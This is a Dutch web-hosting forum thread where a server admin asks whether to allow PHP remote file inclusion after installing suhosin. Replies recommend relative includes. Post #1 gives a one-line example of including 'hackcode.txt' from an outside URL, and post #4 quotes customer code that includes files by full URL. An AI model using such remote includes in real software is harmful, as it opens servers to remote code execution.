Likes Likes:  0
Resultaten 1 tot 5 van de 5
Geen
  1. #1
    PHP remote inclusion toestaan?
    geregistreerd gebruiker
    478 Berichten
    Ingeschreven
    24/11/05

    Locatie
    Almere

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    1 Berichten zijn liked



    Thread Starter

    PHP remote inclusion toestaan?

    Hoi,

    Ik heb pas geleden suhosin geinstalleerd om php beter te beveiligen. Nu gaf dat wat problemen met klanten die remote inclusion gebruiken(welliswaar de url van hun eigen site).

    Vroeg me af of dat acceptabel is of dat je mensen moet vertellen altijd include(../config.php) the gebruiken ipv. include(url/config.php). Technisch gezien kan je met 1 regel php al veel doen als je dit toestaat (<?php include http://url.com/hackcode.txt; ?> )

    Het lijkt er trouwens op dat ik dit niet uit kan zetten in suhosin (er is alleen een whitelist optie) weet iemand een andere manier wellicht om remote inclusion toe te staan voor lokale url's only?

    Alvast bedankt.

  2. #2
    PHP remote inclusion toestaan?
    geregistreerd gebruiker
    4.175 Berichten
    Ingeschreven
    09/12/05

    Locatie
    Almere

    Post Thanks / Like
    Mentioned
    10 Post(s)
    Tagged
    0 Thread(s)
    76 Berichten zijn liked


    Naam: Ramon Fincken
    Bedrijf: Klarned Managed Hosting / Halvar.io
    Functie: CEO
    URL: www.klarned.is
    Registrar SIDN: Nee
    KvK nummer: 30262182
    TrustCloud: ramonfincken
    View ramonfincken's profile on LinkedIn

    op hun eigen site kunnen ze ook relatief includen

    als dat betekend dat ze dan www.site.nl/pagina.php?id=7
    moeten omzetten naar

    $id = 7;
    include('pagina.php');

    en op pagina.php
    if(!isset($_GET['id']))
    {
    if(!isset($id)) { $id = -1; } else { $id = intval($id); }
    }
    else
    {
    $id = intval($_GET['id']);
    }

    moet dat toch niet alteveel problemen opleveren lijkt me?
    Klarned Managed hosting Hosting, optimalisatie & debugging door WP Core developers

  3. #3
    PHP remote inclusion toestaan?
    Sebastiaan Stok
    2.468 Berichten
    Ingeschreven
    20/12/04

    Locatie
    Rotterdam

    Post Thanks / Like
    Mentioned
    5 Post(s)
    Tagged
    0 Thread(s)
    86 Berichten zijn liked


    Naam: Sebastiaan Stok

    Als het bestand via het web word opgevraagd is het al uitgevoerd neem ik aan, dan behoor je gewoon file_get_contents() te gebruiken.

    suhosin heeft sinds een bepaalde versie van PHP niets meer met die instellingen te maken.
    Dat is gewoon iets wat bij php.ini staat.

    En er is geen enkele reden waarom iemand remote_inclusion nodig heeft.
    Park The Hosting Manager - your friend in hosting software

  4. #4
    PHP remote inclusion toestaan?
    geregistreerd gebruiker
    478 Berichten
    Ingeschreven
    24/11/05

    Locatie
    Almere

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    1 Berichten zijn liked



    Thread Starter
    Ik ben niet echt een PHP programmeur, hier is z' n voorbeeld:

    Code:
    if ($_SESSION['app_id']=='test') {
          //qbooking 
          ob_start();
          if ((isset($_SESSION['crmid']))&&($_SESSION['usergroup']<4))
          include STARURL.'/test/qbookingadmin.php'; 
          //include('./test/qbookingadmin.php');
          else if (isset($_SESSION['crmid']))
          include STARURL.'/test/qbooking.php';
          $qbooking = str_replace("%SID%", session_id(), ob_get_contents());
          ob_end_clean();
          $html->AddVar("default", "qbooking", $qbooking)
    STARURL is een variabele die gevult is met een volledige url. Dat werkt dus niet als ik suhosin aanzet (php4.4.8). Vraag is dus of ik de programmeur moet gaan vertellen dat hij zijn code meer secure moet maken of dat dit vrij normaal is en ik mijn server configuratie (shared server) erop aan moet passen.

  5. #5
    PHP remote inclusion toestaan?
    Sebastiaan Stok
    2.468 Berichten
    Ingeschreven
    20/12/04

    Locatie
    Rotterdam

    Post Thanks / Like
    Mentioned
    5 Post(s)
    Tagged
    0 Thread(s)
    86 Berichten zijn liked


    Naam: Sebastiaan Stok

    Park The Hosting Manager - your friend in hosting software

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics